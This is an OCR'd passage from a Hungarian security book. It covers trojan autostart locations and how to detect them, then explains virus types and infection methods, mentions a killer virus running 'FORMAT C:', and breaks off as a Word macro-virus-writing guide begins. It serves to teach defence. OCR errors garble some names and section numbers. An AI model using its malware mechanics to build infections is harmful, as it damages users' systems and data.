nek meg, az illető ikonra duplán kattintva érjük el őket. Itt megintcsak aján-
latos az óvatosság, mielőtt bármit is törölnénk. Az indulásnak ezt a lehetősé-
gét a rendszerindítással együtt sok ártalmatlan program (pl. uninstall-
programok, vírusvizsgálók, backup programok stb.) is használja, de a trójai-
ak is. Számos más Registry-bejegyzési lehetőség is előfordul autorun célból,
de persze ezeket (szerencsére) csak ritkán használják a trójaiak.
Hasznos segítség a Windows saját msconfig programja is. Menjünk egy-
szerűen a Start gombra, aztán a Futtatás-ra, és írjuk be msconfig. Ezzel a
programmal a fent nevezett bejegyzések közül sokat ellenőrizhetünk, és ké-
nyelmesen megváltoztathatunk. A sysedit-tel is sokat megtalálhatunk a fen-
tiek közül. Járjunk el úgy, mint az msconfig-nál, helyette azonban ezt írjuk
be: sysedit. Több ablak is megnyílik szövegszerkesztő formában.
 Következőként hívjuk meg a Rendszerleíró adatbázis-szerkesztőt a
Start/Futtatás/Regedit-tel. Megnyílik egy program félelmetesen sok bejegy-
zéssel. Ezek közül csak néhány útvonal érdekes:
A „%1" %*" karakterek elé be lehetne írni még egy programot. Rend-
szerint azonban csak az itt megnevezett bejegyzések vannak. Ha valamelyik
kulcs még egy futtatható fájlt is tartalmaz, amögött egy trójai rejtőzhet.
Gyanú esetén ne az egész bejegyzést távolítsuk el, hanem csak a program
nevét!
ICQ-usereknél fennáll egy további lehetőség a következő bejegyzésnél:

Registry Installed Components

Vannak még az úgynevezett „Unknown-módszerek", illetve a Win- Registry Common Startup kulcs
dows-regisztráció, a shell paraméterrel.
Itt is a Windows Registryt használják a program automatikus indításá-
hoz. Ezek alatt az útvonalak alatt a következő bejegyzések találhatók:
A bejegyzés általában
Ez alatt az útvonal alatt található a szerver is.

Eszközmeghajtónak álcázás
Egy trójai, mint már említettük, eszközmeghajtónak is álcázhatja magát.
Ilyen esetben nem egyszerű a pontos azonosítás. Végülis lehet az egy való-
di meghajtó is, aminek a törlése rendszerproblémákat okoz. Itt is egy
Registry-be került bejegyzést keresünk, azonban egy „szokatlan" path-on:
 4.6.4 Módszerek az Explorer.exe-vel a C:\ meghajtóra
Egy bug miatt a Windows először mindig az első, megtalált explorer.exe-
t futtatja le (kétséges esetben a C:\ könyvtárban), mielőtt a tulajdonképpe-
ni explorer.exe (C:\windows\) elindulna. Az explorer.exe a C:\ -n azt eredmé-
nyezhetné, hogy legközelebb egy trójai töltődik be, amely a
C:\windows\system könyvtárban vagy máshol található.

4.6.5 A runonce.exe kicserélése

Csak a Schoolbm trójainál ismert. Az eredeti Windows runonce.exe-t egy
módosított fájlra cseréli, amely így lehetővé tesz egy autorun eljárást. Az
eredeti runonce.exe mérete a Windows 95 alatt 11264 bájt, Windows
98/ME alatt pedig 40960 bájt. Tehát ha találunk egy runonce.exe-t, amely-
nek más a mérete, akkor itt is el lehet rejtve egy trójai. Hangsúlyozzuk,
LEHET! Ennek a módszernek a további magyarázatához az angolul értők
olvassák el a Schoolbus 2.0 trójai leírását, amely a http://serdarka.8m.com/
weboldalon található.

„Futó folyamatok ellenőrzése" módszer

Gyakran lepleződik le egy trójai úgy, hogy a „futó feladatokat" ellen-
őrizzük. Itt futtatható fájlokról van szó, amelyek a rendszerrel „együtt fut-
nak". Ezeket különböző módokon lehet megfigyelni.
Például a Ctrl+Alt+Del billentyűkkel. Megjelenik egy ablak, amely mu-
tatja a futó programokat, amelyeket ennek megfelelően be is lehet zárni.
Ez a módszer azonban egyáltalán nem biztos, mert a legtöbb trójai „tudja",
hogy kell elrejtőzni a Taskmanager elől.
A Windows-zal azonban egy jó kis eszközt is kapunk a futó folyamatok
ellenőrzéséhez. A program neve: DrWatson. A Start menü Futtatás-ba írjuk
be: drwatson. A program elindul, és először elvégez néhány vizsgálatot.
Menjünk a Nézet menüpontra, és válasszuk a Mindent megmutat opciót.
Kezdőknek azonban a DrWatson bonyolultnak tűnhet, mert tényleg min-
dent könyörtelenül megmutat, ami a Windows alatt adódik. A Windows
2000-be is integráltak egy nagyon jó folyamat-nézőkét, amelyet a
Taskmanager-rel együtt lehet elindítani.
5. fejezet - Tartalom

5.1 Alapok
5.1.1 Defektes cluster mint álcázás
5.1.2 Miről ismeri fel a vírusvizsgáló a vírust?
5.1.3 Videokártyák - az elvetemült támadók búvóhelyei?
5.2 A vírus felépítése
5.3 Hogyan fertőz meg a vírus egy fájlt?
5.3.1 Így fertőznek a bootszektor vírusok
5.3.2 A dropper vírust helyez el
5.4 A legfontosabb vírustípusok rövid áttekintése
5.4.1 Bootszektor vírusok
5.4.2 Companion vírusok
5.4.3 Killerprogramok
5.4.4 Logikai bombák
5.4.5 Makrovírusok
5.4.6 Hálózati vírusok
5.4.7 Polimorf vírusok
5.4.8 Stealth vagy rejtőzködő vírusok
5.4.9 TSR fájlvírusok
5.4.10 Update vírusok
5.4.11 Férgek - az ILOVEYOU és társai
5.4.12 Időzítők
5.5 Word makrovírus írása
5.5.1 Minden ténykedés központja - a Normal.dot fájl
5.5.2 Modul vagy osztálymodul?
5.5.3 Vírusok kontra ServiceRelease
5.5.4 Modul makrók
5.5.5 Ilyet is lehet: a vírus egy Payload-ot hív meg
 5.5.6 A vírus fájltulajdonságokat vagy
szövegtartalmakat változtat meg
5.5.7 A vírus jelszóval védi a fájlt
5.6 Megfertőzött osztálymodulok

5.7 ILOVEYOU
1385.7.1 Mi az a féreg?
5.7.142 A működési mód
5.7.3 Hogyan tudott a féreg elterjedni?
5.7.4 A forrás - kommentárokkal

5.8 Hogyan működnek a vírusvizsgálók?

5.8.1 Szkennermodul
5.8.2 Víruspajzs
5.8.3 „Fertőtlenítő"
5.8.4 A vírusvédő program kiválasztásának a szempontjai
5 Vírusok - Veszélyes fájlok

5.1 Alapok

Az FBI kódolás elleni vírust fejleszt

Minden eszközzel a potenciális terroristák ellen ...
Az amerikai szövetségi rendőrség, az FBI egy eljárást fejleszt, amellyel a
kódolt adatokat már a keletkezésük helyén dekódolni lehet - jelenti az
MSNBC.com online média. Egy Magic Lantern nevű szoftver segítségével az
FBI specialistái a jövőben egy olyan vírust tudnak becsempészni a gyanús
szerverekre, amely megteremti a dekódolás előfeltételeit.
Az FBI-nak sok szerverrel nem lesz nehéz dolga.
Ezután a vírus mailben fogja elküldeni magát, vagy ismert biztonsági ré-
seken becsempészi magát a szerverszoftverbe. Ha a fertőzött számítógépe-
ken elindítanak egy kódolóprogramot, a vírus minden billentyűzet-bevitelt
feljegyez, és elküldi az FBI-nak.
A Magic Lantern azelőtt kezd működni, mielőtt még az adatok kódolása
megtörténne, úgy, hogy kódolás közben kvázi kukucskál a felhasználó válla
fölött,
A US-hatóságok szemében már régóta tüskét jelentettek az erős kódo-
lásra alkalmas programok, mivel az ezekkel kódolt adatokat nem lehet visz-
szafejteni. Csak miután az ipar bizonyítékokat szerzett arról, hogy a ke-
mény kódolóprogramok az exporttilalom ellenére is elterjedtek, az USA fel
adta a hivatalos ellenállást.

1983-ban programozta az első hivatalosan ismertté vált vírust Fred Cohan a

dél-kaliforniai egyetemről. Doktori disszertációjához fejlesztette ki az önmagát
reprodukáló program elméletét, és rögtön bizonyítékkal is szolgált. Az általa
programozott vírus Unix operációs rendszer alatt futott. A hatása az volt, hogy
a rendszer minden felhasználója megkapott minden elérési jogot.
Az újságokban és a televízióban újra és újra horrorisztikus híreket hallani új
és veszélyes vírusokról. Ezek azonban többnyire erőteljes túlzások. A valóság-
ban jelentősen több kár éri a számítógépes rendszereket és az adataikat szabo-
tázsoktól, a szakszerűtlen kezeléstől vagy a hackertámadásoktól, mint a víru-
soktól és következményeiktől.
Egy vírustámadás következtében azonban bizonyos körülmények között
minden adat és program elveszhet, ami jelentős anyagi károkat okoz.
Fertőzésnek az orvostudomány azt a folyamatot nevezi, amelynél a kóroko-
zók átterjednek egyik egyedről a másikra. Mivel a komputervírusok a biológiai
vírusokhoz hasonlóan viselkednek, itt is az átviteli folyamatot nevezik fertőzés-
nek. A vírus az egyik vírushordozóról egy másik potenciális vírushordozóra,
például egy merevlemezre kerül. Ez történhet egy olyan fertőzött program el-
indításával, amelyet interneten, CD-n vagy lemezen keresztül lehet kapni, vagy
- a bootszektor vírusoknál - a lemez egy fertőzött bootrutinjával. A program
általában álcázva van, mintha egy képről, egy Word vagy egy Excel fájlról len-
ne szó. Gyakran éppen az ártalmatlannak vélt fájlok okozzák a legnagyobb ká-
rokat, mert egy EXE fájllal sok felhasználó már eleve óvatosan bánik. Hogy az
Offíce-alkalmazások makrovírusai milyen veszélyesek lehetnek, az kiderül a ké-
sőbbiekben.
Persze nem vezethető vissza vírusra a számítógéppel történő munka során
fellépő hibák mindegyike. A legtöbb esetben a szoftver vagy egy meghajtó hiá-
nyosságáról van szó. Ennek ellenére óvatosnak kell lenni: ha hirtelen olyan hi-
bák jelennek meg, amelyek hasonló körülmények között eddig nem léptek fel,
akkor vírusellenőrzést kell végezni.
5.4.1 Defektes cluster mint álcázás
A vírusoknak többnyire álcázómechanizmusaik vannak, amelyek védik őket a
lelepleződéstől. Az egyik ilyen mechanizmus például megakadályozza, hogy a
felhasználó felfedezze a vírus elfoglalta tárterületet a merevlemezen. A vírus
befészkelődik az adathordozó egy tetszőleges helyére, és az elfoglalt clustert
(helyfoglalási egységet) hibásnak mutatja. A legtöbb felhasználói program (te-
hát a vírusvizsgálók is) egyszerűen átugorják a hibás clustereket, vagy csak jel-
zik a hibát, és a megmaradt tárterületet mutatják meg.
5.1.2 Miről ismeri fel a vírusvizsgáló a vírust?
Minden vírusnak van egy jellemző bitmintája, a hex-pattern. Ez hexadecimá-
lis karaktereknek egy 10-16 bájt hosszú láncából áll, és a vírus arra használja,
hogy felismerje, fertőzött-e már egy fájl. Ha ez a hex-pattern már ismert, fel le-
het használni egy meghatározott vírus kereséséhez az adathordozón. A keresés
csak az önmagukat kódoló vírusoknál válik problematikussá.
5.1.3 Videokártyák -
az elvetemült támadók búvóhelyei?
A videokártyák gyakran állnak vírushordozó gyanújában. A vírusok állítólag
a kártya videomemóriájába fészkelik be magukat. Valójában ez lehetetlen: egy
videokártya videomemóriája nem bootképes, az adatokat csak tárolja. Ezért
egyetlen vírus sem tud közvetlenül a videokártya memóriájából a számítógép
végrehajtható memóriájába kerülni. A videokártya memóriáját a vírus legfel-
jebb egy azonosító tárolására használhatja.
5.2 A vírus felépítése
Minden vírus három vagy gyakrabban négy programrészből áll: az első rész
egyfajta ismertetőjegy, amelyről a vírus felismeri önmagát. Ennek a segítségével
tudja bármikor ellenőrizni, hogy meg van-e már fertőzve egy fájl.
A második rész tartalmazza a tulajdonképpeni fertőzőrutint. Itt először egy
szubrutinról van-e szó, amely még nem fertőzött, végrehajtható fájlt keres. Ha
talál ilyet, a vírus bemásolja a programkódját a fájlba. Ebben a részben találha-
tó a programkód is, amely szükség esetén úgy alakítja át a fájlt, hogy a vírus a
program indításakor azonnal aktiválódni tudjon. Az esetleges álcázási eljárás
szubrutinja is itt található.
A harmadik rész dönti el, hogy ártalmatlan vírusról van-e szó, ami csak egy
kis tréfát csinál, vagy egy destruktív kártevőről, amely közepes vagy nagy ka-
tasztrófát vált ki. Ártalmatlan esetben itt található az utasítás, hogy a vírus
mondjuk x napon rajzoljon egy képet a monitorra, vagy írjon ki egy meghatá-
rozott szöveget. De ez a hely tartalmazhatná azt a parancsot is, hogy: „a követ-
kező újraindításnál formattáld a merevlemezt".
 A negyedik résszel zárul a kör. Itt található az a parancs, amellyel a program
a víruskód végrehajtása után visszatér oda, ahol a vírus megszakította a prog-
ram futását.
5.3 Hogyan fertőz meg a vírus egy fajit?
A fájlok megfertőzésénél a legnagyobb különbségek a módban vannak, aho-
gyan a vírus beveszi magát egy programba. Sok vírus egy futtatható fájl végé-
hez fűzi a saját programkódját, az elejére pedig egy hivatkozást tesz erre a kód-
ra. Ha a programot elindítják, az a saját feladatainak a futtatása előtt először a
vírusprogramra ugrik. Ha ezt végrehajtotta, megint visszaugrik arra a helyre,
ahol eredetileg megszakította a folyamatot. Felhasználóként legfeljebb a fertő-
zött program indulási sebességének a minimális változását vesszük észre.
Most már minden alkalommal, mikor a programot elindítják, először a vírus
indul el, és ettől a perctől kezdve még meg nem fertőzött fájlokat keres, hogy
azokhoz is hozzáférkőzzön, és megfertőzze őket.
A víruskódnak ez a fájlhoz fűzése nem okoz maradandó károsodást a fertő-
zött fájlon, a vírusokat el lehet távolítani. Egyes vírusok azonban sokkal gátlás-
talanabbul viselkednek, és egyszerűen átírnak a fájlból annyit, amennyire a
programkódjukhoz szükség van. Ha a gazdaprogram, a fájl, ugyanolyan méretű
vagy nagyobb, mint a vírus, akkor ez viszonylag észrevétlenül történhet. Ha a
vírus nagyobb, mint a vendéglátója, akkor kompletten átírja a fájlt, és annyival
meghosszabbítja, amennyi helyre szüksége van.
5.3.1 így fertőznek a bootszektor vírusok
A vírusok egy másik típusa áthelyezi az eredeti bootszektort, a helyére pedig a
saját betöltőprogramját írja. Ez egy rutin, amely utasítja a BlOS-t az operációs
rendszer betöltésére, a vírus pedig elrejtőzik valahol az adathordozón. Ha a gép in-
dításkor a bootszektorhoz ér, a vírusbetöltő először a vírust indítja el, és ezután át-
tereli a beolvasást az átültetetett eredeti bootszektorra. A vírus ezen a módon olyan
lemezeken is terjedhet, amelyek nem tartalmaznak programokat, csak fájlokat, mi-
vel a nem bootképes lemezeknek is van egy minimális bootszektoruk. Ha a
bootolási kísérletnél nem talál operációs rendszert, a betöltőprogram csak egy jel-
zést küld a képernyőre: nem rendszerlemez. A vírust az ilyen lemez is hordozhatja.
Más vírusok átírják a FAT-ben található könyvtárinformációt, és minden
programnál a vírusprogram címét adják meg. Az eredeti címeket a vírus egy
rendezett listára helyezi. Ha egy programot elindítanak, akkor ez először elin-
dítja a vírust, majd az továbbítja az elérést a helyes címre.
Minden fertőzésmódnak létezik néhány variánsa. Emellett vannak még hib-
rid vírusok is, amelyek a bootszektort és a fájlokat is meg tudják támadni. Több
módszer kombinációja is gyakran előfordul, ezért is lehet egyre nehezebben
osztályozni a vírusokat.
5.3.2 A dropper vírust helyez el
A dropper nem vírus, nem is vírussal fertőzött program, ám ha lefut, egy ví-
rust telepít a memóriába, a merevlemezre vagy egy fájlba. A droppereket egy
bizonyos vírus átvitelére alkalmas programként vagy egyszerűen egy szabotázs
segédeszközeként írják meg. Egyes antivírus-programok megkísérlik a
dropperek felismerését, s az újabbaknak ez általában sikerül is.
5.4 A legfontosabb vírustípusok rövid
áttekintése
A vírusfigyelmeztetések szinte már a napi rutinhoz tartoznak az interneten.
Többnyire a mailektől óvnak, amelyeknek a fájlmelléklete vírust rejt. Az ilyen
figyelmeztetésekben általában azt is megadják, hogy milyen vírusról van szó.
Ez fontos, mert a „fertőzésveszély" a típustól függően nagyobb vagy kisebb. Az
alábbiakban egy rövid áttekintést adunk a legfontosabb vírustípusokról és saját-
ságaikról.
5.4.1 Bootszektor vírusok
A leggyakrabban fellépő vírusok az olyan bootszektor vírusok, mint a Form és
a Stoned vírus. Az ilyen vírusok a hajlékonylemezek bootszektorát és/vagy a
master boot recordot (MBR), illetve a master boot partíciós szektort vagy a
DBR-t, a DOS boot recordot, illetve DOS-bootszektort fertőzik meg a merev-
lemezen. Egy bootszektor vírus a következőképpen terjed.
 Kapunk egy flopit adatokkal, amelyek a vírussal fertőzöttek. Az, akitől a le-
mezt kaptuk, azonban nem tudja, hogy a számítógépe és ezáltal a lemez is
bootszektor vírussal fertőzött. A lemezt behelyezzük az A: meghajtóba, és el-
kezdjük használni az adatait. Eddig a vírus még semmit sem csinált. Valamikor
kikapcsoljuk a számítógépet. A következő reggelen újból bekapcsoljuk a számí-
tógépet. A lemez még az A: meghajtóban van, és a BIOS-ban Boot from Floppy
van beállítva: tehát a számítógép megpróbál erről a lemezről elindulni. Betölti a
lemez első szektorát a memóriába, hogy lefuttassa a kódot, amit tartalmaz, vagy
hogy kiírja: Nem rendszerlemez, a folytatáshoz üssünk le egy tetszőleges billentyűt -
amennyiben nem talál rajta DOS-rendszerfájlokat. Ezt az üzenetet már ezerszer
láttuk, tehát kioldjuk a meghajtózárat, és lenyomunk valamilyen billentyűt.
Ez a flopi azonban Stoned vírussal fertőzött, és a vírus programja lefut. Tele-
píti magát a merevlemezre, kicseréli magára az MBR-t, és az eredeti MBR-t a
merevlemez egy más pontján helyezi el. Ha ezután elindul a gép a merevlemez-
ről, lefut az MBR, ami mostanra azonban már nem más, mint a Stoned vírus. A
vírus memóriarezidenssé válik, rátelepszik a 13h interruptra, az adathordozóról
történő olvasás és írás interruptjára, és ezután betölti az eredeti MBR-t, és in-
nentől kezdve az indítási folyamat a megszokott módon folytatódik. Mivel
azonban fogja a flopiról olvasás/flopíra írás interruptját, a vírusprogram min-
den A: meghajtóra/-ról irányuló írási vagy olvasási műveletnél (habár azt gon-
doljuk, olvasásról van szó, a valóságban a vírus ír a lemezre) megvizsgálja a le-
mezt, és ha még nincs megfertőzve, installálja a Stoned vírust a bootszektorába.
így a gépünk most minden lemezt megfertőz, ami bekerül az A: meghajtójába,
előbb vagy utóbb pedig tovább adjuk ezeknek a lemezeknek valamelyikét, és
ezzel a körforgás elölről kezdődik.
A különböző bootszektor vírusok működési módjai a részleteikben ugyan
különböznek egymástól, de az alapelv mindegyiknél ugyanaz. A fertőzött flopik
bootszektoráról kerülnek fel a gépre, és csak így lehet őket továbbadni (egy
bootszektor-vírus nem tud például a hálózaton keresztül terjedni). A fertőzés
csak a fertőzött lemezről történő indítási kísérletnél következhet be, még ha ez
a kísérlet sikertelen is lenne.
A bootszektor vírusok PC-ket támadnak meg. Semmi jelentősége nincs an-
nak, hogy milyen operációs rendszert használ a gép, vagy hogy milyen vírusvédő
programot telepítettek rá, mert abban a pillanatban, mikor a bootszektor vírus
telepíti magát, az operációs rendszer vagy a védőprogram még egyáltalán nin-
csen betöltve. Egyes operációs rendszereknél, amelyek nem DOS-alapúak, a PC
ugyan megfertőződík, a vírus azonban nem tudja a gépbe helyezett lemezekre
másolni magát, és így nem tud terjedni. Kárt azonban ugyanúgy okozhat ezeken
a gépeken is, mint azt egy döbbent Unix-felhasználó megtapasztalta, mikor
2000. március 6-án a Michelangelo vírus meglepetésszerűen lecsapott a gépére.
Sokan meg vannak lepve, mikor megtudják, hogy egy vírus ilyen módon ter-
jed, és ebben keresendő a bootszektor vírusok gyakoriságának az oka is. A vírus-
vizsgálók, működési módjuk miatt, csak a lemezek vizsgálatakor tudják felismerni
és törölni a bootszektor vírusokat. A boot-támadás idején azonban tehetetlenek.
Ajánlott a számítógép fő bootszekvenciáját úgy beállítani a BIOS-ban, hogy
először mindig a merevlemezről próbáljon bootolni, második lehetőségként
pedig meg lehet adni a CD-ROM meghajtót. Ha egy merevlemez-problémá-
nál a bootolás lehetetlenné válna (headcrash vagy hasonló), a BIOS-t még min-
dig át lehet állítani egy tiszta(!) lemezről bootolásra. A lemezeket, amelyeket
kapunk, ennek ellenére gondosan ellenőrizzük vírusvizsgálóval, nehogy mások-
nak okozzanak károkat továbbadáskor.
5.4.2 Companion vírusok
Ha egy COM és egy EXE fájlnak ugyanaz a neve, és ezt a nevet begépeljük, a
DOS először mindig a COM fajit hajtja végre. A companion vírusok is ezt a kö-
rülményt használják ki, az EXE fájlhoz készítenek egy azonos nevű COM fájlt,
amelyben benne van a víruskód. Ha ezután megpróbáljuk elindítani az EXE fájlt,
helyette a COM program, tehát a vírus fut le. Ha a vírus befejezte a ténykedését,
például készített egy újabb companion vírust egy újabb fájlhoz, elindítja az EXE
programot is, hogy úgy tűnjön, minden a legnagyobb rendben működik.
Volt néhány igazán sikeres companion vírus, de nem sok. A vírusprogramo-
zónak az a fő előnye, hogy az EXE fájl egyáltalán nem változik, és így a megvál-
toztatott programok némelyike egyáltalán nem is veszi észre, hogy egy vírus
terjed. Az elrejtéshez gyakran a rejtett vagy a rendszer tulajdonságot adják a fájl-
nak. Ezeket az intéző alapértelmezésben nem mutatja.
5.4.3 Killerprogramok
A killerprogramok olyan vírusok, amelyek bizonyos számú fertőzés után
tönkreteszik a fertőzött gép merevlemezét. A vírus erre a célra egy fertőzés-
számlálót tartalmaz, amely egy rögzített értéktől kezdve visszaszámol. Ha eléri
a nullát, kiváltja a rombolóakciót. Egyes esetekben a vírus ilyenkor kiadja és le-
futtatja a FORMÁT C: parancsot. Más vírusok minden fájlt törölnek az adat-
hordozón. A legbarátságtalanabb változat a FAT bejegyzéseit változtatja meg.
Ilyenkor minden fájl ott marad ugyan a merevlemezen, csak az adatállomány
többé nem olvasható és használható.
5.4.4 Logikai bombák
A logikai bombák a vírusok különleges fajtái: ezeknek a működésbe lépését ki-
válthatja egyfajta időzítő vagy egy feltétel teljesülése, például egy bizonyos szó
vagy felhasználói név beírása vagy hiánya.
Ezek a vírusok többnyire egy meghatározott rendszerre korlátozódnak: a
bombák rendszerint csak egy megadott környezeten belül tudják reprodukálni
magukat, és ezért ezen a környezeten kívül hatástalanok.
5.4.5 Makrovírusok
A makrovírusok olyan vírusok, amelyek adatfájlokat fertőznek meg.
Makrovírusokat jellemzően Microsoft Word dokumentumokban (.doc vagy .dot
végződéssel) és már Excel fájlokban is találunk. Amint megnyitunk egy fertő-
zött Word dokumentumot, az megfertőzi a Normal.dot fájlt. Ha ezután egy do-
kumentumot mentünk vagy nyitunk, az is megfertőződik a vírussal. A
makrovírusok például egy másikra tudják cserélni a Mentés parancsot, a felhasz-
nált programnyelv alapján adatokat tudnak törölni vagy módosítani. Hogy a
makrovírusok hogyan működnek, milyen parancsokat tudnak kiváltani, és mi-
lyen trükköket vetnek be álcázásként, az a későbbiekben fog kiderülni.
5.4.6 Hálózati vírusok
Speciális hálózati vírusokból még kevés van, azonban a legtöbb vírus hálóza-
ton is tud terjedni. A klasszikus hálóvírusok az úgynevezett férgek. Ezek a víru-
sok nem programfüggelékként terjednek a rendszerekben, hanem önállóan
tudják reprodukálni a saját kódjukat, és önálló programként tudják lefuttatni
magukat.
Olyan vírusok, amelyek több operációs rendszerben is tudnának terjedni, még
nincsenek. A vírusok, a koncepciójuknál fogva, mindig egy rendszer gyenge pont-
jaira vannak kihegyezve. Mivel ezek minden rendszerben mások, és minden rend-
szer más programozási követelményeket állít, belátható időn belül aligha lesznek
olyan vírusok, amelyek például Mac és MS-DOS gépeken is tudnának működni.
A legtöbben azt hiszik, hogy egy vírus, amint bekerül egy hálózatba, azonnal
viharos sebességgel el is terjed rajta. Ez azonban a valóságban sokkal bonyolul-
tabb. Először is a bootszektor vírusok nem tudnak hálózaton keresztül terjedni,
még akkor sem, ha több, hálózatra csatlakozó számítógép fertőzött, mert ez a
vírustípus csak flopin keresztül terjed. A fájlvírusok ezzel szemben a következő-
képpen fertőznek hálózaton keresztül:
1. „A" kolléga megfertőzi a számítógépét, valószínűleg egy e-mail mellékle-
tével vagy egy barátja demólemezével. A vírus memóriarezidenssé válik.
2. „A" kolléga további programokat futtat a merevlemezén, amelyek ezáltal
ugyancsak megfertőződnek.
3. „A" kolléga néhány programot a hálózaton futtat, ezek is megfertőződ-
nek. A hálózat egy DOS-eszközt emulál, ez azt jelenti, hogy fájlok olvasá-
sa és írása ugyanolyan módon történik a szerveren, mint lokálisan. A ví-
rusnak tehát nem kell a szokásostól eltérően viselkednie ahhoz, hogy a
szerveren is meg tudjon fertőzni fájlokat.
4. „B" kolléga bejelentkezik a szerverre, és végrehajt egy fertőzött fájlt. A ví-
rus „B" kolléga gépén is memóriarezidens lesz.
5. „B" kolléga több más programot futtat saját, helyi merevlemezén és a
szerveren. Valamennyi végrehajtott fájl megfertőződik.
6. „C", „D" és „E" kollégák bejelentkeznek, és futtatják a ferőzött fájlokat.
7. ...és így tovább.
Másképp történik a fertőzés az olyan vírusoknál, amelyek elküldik magukat
a mail-címjegyzék minden címére. Itt elég, ha „A" kolléga lefuttatja a fájlt, és a
címjegyzékéből minden kollégája kap egy mailt a vírussal. Ha ezek a kollégák
ugyancsak megnyitják a mellékletet, minden kezdődik elölről. A különböző
címjegyzék-bejegyzéseken keresztül a vírus gyorsan eljut az üzletfelekhez, ba-
rátokhoz stb., és így lavinát vált ki. Az ILOVEYOU a maga idejében pontosan
ilyen vírus volt. Más sajátosságai mellett saját magát szaporította. Még kompu-
tercégeknél is egész részlegeket bénított meg, mert a mailforgalom egyfolytá-
ban növekedett, és minden további futtatás ismét elindította a küldést.
5.4.7 Polimorf vírusok
Az antivírus programok leggyakrabban használt fajtája a szkenner, amely a
víruskódok egy bizonyos repertoárja után kutat. A vírusprogramozó ezt a prog-
ramot szeretné a legjobban becsapni. A polimorf vírus olyan kártevő, amelyből
egy helyen nem fordul elő két másolat, amelyek ugyanazt a bájtsorozatot tar-
talmaznák. Ezért egy ilyen vírust nem lehet egyszerűen egy meghatározott
bájtsorozatról felismerni, ennél sokkal összetettebb és nehezebb feladatot kell
megoldania annak, aki el akarja csípni.
5.4.8 Stealth vagy rejtőzködő vírusok
Ha egy vírus memóriarezidenssé tud válni, ami pedig a komputeres világban
megjelenő vírusok 99%-ára igaz, akkor legalább egy interruptot fogni tud. Ha
bootszektor vírusról van szó, akkor az a 13h interruptot használja (az adathordozók
olvasása/írása). A stealth vírusoknál viszont, ha egy tetszőleges program megpró-
bálja olvasni a bootszektort, a vírus azt mondja magában: „Aha, itt valaki látni
akarja a bootszektort. Egyszerűen beolvasom az eredeti bootszektort onnan, aho-
vá eltettem, és aztán a fertőzött bootszektor helyett az eredeti tartalmát prezentá-
lom. Hi-hi." Ezáltal a lekérdező programnak semmi szokatlan sem tűnik fel.
Az 1986-ban készült Éráin vírus volt az első olyan, amelyik ezzel a trükkel dol-
gozott. A fájlvírusok, mint amilyen a Frodo, hasonló trükkel szintén el tudják tit-
kolni a létezésüket úgy, hogy minden program, amely a fájlt olvassa, csak azokat a
bájtokat látja, amelyeket az a vírusfertőzés előtt tartalmazott. Az ilyen álcázási ké-
pességek azonban gyakrabban figyelhetők meg bootszektor vírusoknál, mint fájl-
vírusoknál, mert egy bootszektor vírushoz sokkal egyszerűbb álcázórutint írni.
5.4.9 TSR fájlvírusok
A második leggyakoribb vírusfajta a TSR fájlvírus. Mint a neve is mutatja, az
ilyen típusú vírus fájlokat támad meg, azok közül is általában a COM és az EXE
fájlokat; azonban van néhány eszközmeghajtó vírus is. Egyes vírusok overlay
fájlokat (programok lapozófájljai) fertőznek meg, ezek az *.OVL fájlok, és a vég-
rehajtható programoknak sem feltétlenül kell COM vagy EXE kitérjesztésűek-
nek lenniük, bár ez az esetek 99%-ára igaz.
Ahhoz, hogy egy TSR vírus terjedni tudjon, valakinek le kell futtatni a fer-
tőzött programot. A vírus memóriarezidenssé válik, és általában minden utána
elindított programot megvizsgál, hogy megfertőzze, ha az még nem fertőzött.
Egyes vírusokat gyorsan fertőző vírusoknak is neveznek. Az ilyen vírusok már
akkor megfertőznek egy fájlt, ha csak megnyitjuk azt (például egy adatmentés-
nél bizonyos körülmények között minden fájlt megnyitnak, amit a meghajtó
tartalmaz.) Az első gyorsan fertőző vírus a Dark Avenger volt. A Green
Caterpiller fertőzőrutinját viszont minden olyan folyamat kiváltja, amely meg-
határozza, hogy milyen fájlok állnak rendelkezésre az adathordozón (pl. a DIR
parancs). Használnak még más fertőzőrutinokat is, de a legtöbb esetben egy
program csak akkor fertőződik meg, amikor végrehajtják.
5.4.10 Update vírusok
Az update vírusok különösen ravasz kórokozók. Családokra oszlanak, és eze-
ket többnyire egyetlen programozó vagy egy csoport fejleszti. A hex pattern
mellett ezek a vírusok nemcsak egy verziószámot tartalmaznak, hanem egy
update rutint is, amely ellenőrzi, hogy a vírus fellépett-e már valamely verziójá-
ban. De ez még nem minden: a rutin azt is megvizsgálja, hogy a fájlok tartal-
mazzák-e már a vírus egy régebbi verzióját. Ha igen, akkor lecseréli ezeket. Ha
újabb verzió van telepítve, akkor ezzel nem fertőz újra.
5.4.11 Férgek - az ILOVEYOU és társai
A komputerférgek olyan programok, amelyek önállóan tudnak egy hálóza-
ton terjedni. Ezeknél nem klasszikus vírusról van szó, hanem azzal rokon zava-
róprogramokról, amelyek azonban vírust is tartalmazhatnak. A férgek önálló
programok, amelyeknek nincs szükségük arra, hogy gazdaprogramokhoz fűz-
zék magukat. Többnyire több, egymáshoz kapcsolódó programszegmensből
állnak. A komputerférgek saját magukat tudják reprodukálni, és hálózati funk-
ciók segítségével más számítógépekre másolódnak.
 5.4.12 Időzítők
Az időzítők a vírusok speciális kioldómechanizmusai. A vírusprogramon be-
lül egy rutin lekérdezi a rendszeridőt. Ha az elér egy rögzített értéket, kiváltja a
vírus akciótartalmának a végrehajtását. A feltétel lehet a bekapcsolástól számí-
tott időtartam vagy egy előre meghatározott dátum. Elméletileg így például
születésnapi üdvözletet lehet valakinek küldeni, amely a szóban forgó napon
automatikusan elindul. A naptári dátumok mellett olyan rutint is lehet használ-
ni, amely minden nap, ugyanabban az órában indul el. Az időzítők feltételeinek
a választéka szinte határtalan.
5.5 Word makrovírus írása
Biztos, hogy mindenki látta már a Word megerősítő kérdését, ha valakitől
egy olyan dokumentumot kapott, amelynek a sablonjában makrók voltak. Le-
het, hogy a makrók engedélyezésére kattintott, vagy kétkedőn a tiltásukat vá-
lasztotta, de biztosan nem volt a tudatában annak, hogy milyen veszély bújik
meg mögöttük. A következő oldalakon sok minden kiderül a Word
makrovírusok programozásáról. Itt különösen fontos tudni, hogy milyen trük-
kökkel álcázhatják a programozók a programjaikat, és milyen potenciális veszé-
lyeket hordoznak ezek. Ha ezzel valaki meg tud úszni egy Word makrovírust
vagy legalább felismeri azt, már megérte az ismertetés. Íme, a vírusspecialista
Aciidfreak útmutatója, valamennyire módosított formában.
Aki tud VB-ben programozni, annak nagyon egyszerű a makrók írása.
A VBA lassú, de hatalmas. Minden parancsnak a birtokában van, amit a VB
